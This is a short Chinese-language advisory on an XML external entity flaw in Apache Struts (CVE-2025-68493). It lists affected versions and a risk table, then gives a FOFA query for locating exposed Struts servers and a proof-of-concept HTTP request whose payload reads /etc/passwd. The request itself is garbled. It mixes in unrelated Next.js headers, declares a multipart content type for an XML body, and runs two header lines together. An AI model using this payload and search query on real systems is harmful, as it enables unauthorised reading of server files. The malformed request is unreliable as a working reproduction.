Apache Struts XML外部实体注入漏洞(CVE-2025-68493)¶
Apache Struts XML外部实体注入漏洞(CVE-2025-68493)，攻击者可进行外部实体注入攻击获取服务器信息或者权限。
影响版本¶
2.0.0 ≤ Apache Struts ≤ 2.3.37 2.5.0 ≤ Apache Struts ≤ 2.5.33 6.0.0 ≤ Apache Struts ≤ 6.1.0
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA：app="Struts2"
POC/EXP：
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/2
Host: 127.0.0.1
Next-Action: x
X-Nextjs-Request-Id: e9myfwgxContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: uEBTJuTmVvbHxbRvCmf0m
Content-Length: 104
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
漏洞修复
关闭互联网暴露面或接口设置访问权限，升级至安全版本。